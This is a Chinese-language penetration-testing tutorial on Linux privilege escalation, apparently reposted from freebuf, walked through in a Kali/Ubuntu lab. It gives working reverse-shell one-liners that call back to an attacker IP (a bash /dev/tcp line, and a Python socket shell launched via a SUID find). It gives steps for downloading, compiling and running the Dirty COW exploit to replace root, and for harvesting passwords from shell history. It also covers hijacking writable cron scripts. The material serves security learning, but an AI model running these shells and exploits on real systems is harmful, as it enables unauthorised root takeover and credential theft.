Linux提权基础
0x00:Linux提权方法
大致归纳总结如下:
不过最核心也是最常见的提取方法还是内核提权,其他大多与程序员的配置有关,出现的几率不是很高。
0x01:Linux提权基础知识
uname -a
查看内核版本
id
显示用户的ID,以及所属群组的ID
pwd
显示当前路径
dpkg -l
rpm -qa
查看已经安装的程序
cat /etc/issue
cat /etc/*-release
查看发行版
密码权限
大部分Linux系统的密码都和
/etc/passwd
和/etc/shadow
这两个配置文件有关,passwd
里面储存的是用户,shadow
里面存储的是密码的hash值。出于安全考虑passwd是全用户可读,root可写的,而shadow是仅root可读写的。
/etc/passwd
passwd由冒号分割,第一列是用户名,第二列是密码,x代表密码hash被放在shadow里面.
/etc/shadow
shadow里面的就是密码的hash,但只有root权限才可以查看。
密码复用
另外需要注意的是很多管理员会重复使用密码,所以有可能数据库或者web后台的密码就是root密码。
提权常见的流程
wget http://exp/exp.c
下载exp文件
gcc -o exp exp.c
利用gcc进行编译操作,编译成二进制文件
chmod +x exp
将exp更改为可执行权限
./exp
运行exp进行提权
0x02:Linux反弹shell
Linux一般拿到shell
,权限基本都很低,而且在菜刀或其他工具中执行命令没有交互过程(在菜刀等工具中,只是输入返回内容,如在菜刀中执行ssh
等命令就不可行),所以需要通过反弹shell拥有一个交互式的shell。
准备环境
ubuntu + apache
kail 192.168.186.134
ubuntu 192.168.186.152
上传进去一个php
一句话木马,菜刀连接
查看当前权限
下面就使用反弹shell的方法获取到交互式shell
第一种方法:
利用最经典也是最常用的方法进行反弹shell,另外反弹shell时设置的端口最好是常用端口,不常用的端口可能会被防火墙给拦截掉。
先进行本地进行监听:
nc -lvp 53
然后在拿到shell的机器上执行:
bash -i >& /dev/tcp/192.168.186.134/53 0>&1
但是执行失败了,没有权限
第二种方法:
利用python脚本进行反弹shell,要将脚本上传到服务器上就要找一个低权限用户可以上传且可以执行的目录,一般在tmp
或者/var/tmp
中就有这样的权限
pyshell
使用方法:
本地监听 :nc -l -p 53 -vv
目标机器执行:python back.py 192.168.186.134 53
反弹成功,这样就形成了一个交互式的shell,方便下一步的进行
如果在使用python文件没有权限时,使用如下命令即可,因为该文件是当前用户上传进去的,拥有修改的权限。
chmod 777 back.py
0x03:脏牛提权
Dirty COW,CVE-2016-5195
,攻击者可利用该漏洞本地以低权限提升到root权限。Dirty COW 是一个特权升级漏洞,可以在每个Linux发行版
中找到。这个漏洞的特别之处在于,防病毒和安全软件无法检测,一旦被利用,根本无从知晓。
漏洞在全版本Linux系统(Linux kernel >= 2.6.22)均可以实现提权
如果内核版本低于列表里的版本,表示还存在脏牛漏洞
Centos7 /RHEL7 3.10.0-327.36.3.el7
Cetnos6/RHEL6 2.6.32-642.6.2.el6
Ubuntu 16.10 4.8.0-26.28
Ubuntu 16.04 4.4.0-45.66
Ubuntu 14.04 3.13.0-100.147
Debian 8 3.16.36-1+deb8u2
Debian 7 3.2.82-1
在反弹shell成功的基础上继续来做
先来看一下操作系统的版本,低于列表里的版本即存在脏牛漏洞
uname -r
通过/etc/passwd
了解到超级管理员是root
查看下当前用户的id
下载exp文件
wget https://github.com/FireFart/dirtycow/blob/master/dirty.c
可以看exp中的说明来执行命令
先通过gcc来编译dirty.c文件
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
成功替换掉了原来的root用户,提权成功。
脏牛提权除下这个exp,还有其他的,例如:CVE-2016-5195
,具体就不在演示了,按照说明即可,注意文件名不对,自己改下就好。
Linux提权实战
0x00:Linux分析工具
Linux-exploit-suggester
Linux权限提升审核工具,是基于操作系统的内核版本号。程序会执行“uname -r”命令来获取Linux操作系统发行版本,之后返回一个包含了适用exploits的提示列表。
./linux-exploit-suggester.sh
执行命令即可
这样就将存在的漏洞呈现了出来,利用exp提权即可,非常方便.
Searchsploit
Searchsploit通过本地的exploit-db, 查找软件漏洞信息
使用方法:
searchsploit
如需查看CentOS 7 内核版本为3.10的内核漏洞
searchsploit centos 7 kernel 3.10
知道该内核版本下存在哪些漏洞即可进行提权操作
0x02:SUID提权
什么是SUID
在Linux中,存在suid、guid、sticky,SUID(设置用户ID)是赋予文件的一种权限,它会出现在文件拥有者权限的执行位上,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。
如果想要为文件附上这样的权限命令:
chmod u+s
chmod 4755
(有s
标志位便是拥有SUID权限)
具体的话大致理解就是通过拥有SUID权限二进制文件或程序可以执行命令等,从而进行root提权操作
查找符合条件的文件
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
上面的所有二进制文件都可以在root权限下运行,因为属主是root,且权限中含有s
下面就以find命令来实践一下,首先要给find设当SUID权限
chmod u+s /usr/bin/find
如果Find命令也是以Suid权限运行的话,则将通过find执行的所有命令都会以root权限执行。
/usr/bin/find pass.txt -exec whoami \;
/usr/bin/find pass.txt -exec python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.186.150",53));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' \;
如果出现如下错误,关闭两边的防火墙即可
反弹shell成功,当然还有其他命令可以进行提权,前提是要有SUID权限,这里就不再举例了。
0x03:历史记录提权
通过查看历史记录,查看是否有有用的信息,有的管理员为了方便登陆mysql或其他软件时,不经意间加上参数
-p
,从而将密码暴露出来或者一些.sh
脚本连接mysql、vpn等,查看对应的配置文件即可拿到账号密码
cat ~/.bash_history
保存了当前用户使用过的历史命令
0x04:计划任务提权
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
ls -l /etc/cron*
默认这些程序是以root权限执行,如果有任意用户可写的脚本,我们就可以修改脚本等回连rootshell了。
0x05:配置错误引发提权
手动找如果对Linux系统不熟悉的话基本是找不到的,所以可以利用工具去查找
unix-privesc-check:http://pentestmonkey.net/tools/audit/unix-privesc-check
linuxprivchecker: https://www.securitysift.com/download/linuxprivchecker.py
检查了非常多的配置问题,而且还列出了所有的可写文件,如果找到有配置问题的便可以进行提权操作。
总结
经过这次学习,简单的算是对Linux提权有了一定的了解,但还有很多姿势需要去学习,还是需要不断去积累。
转自:freebuf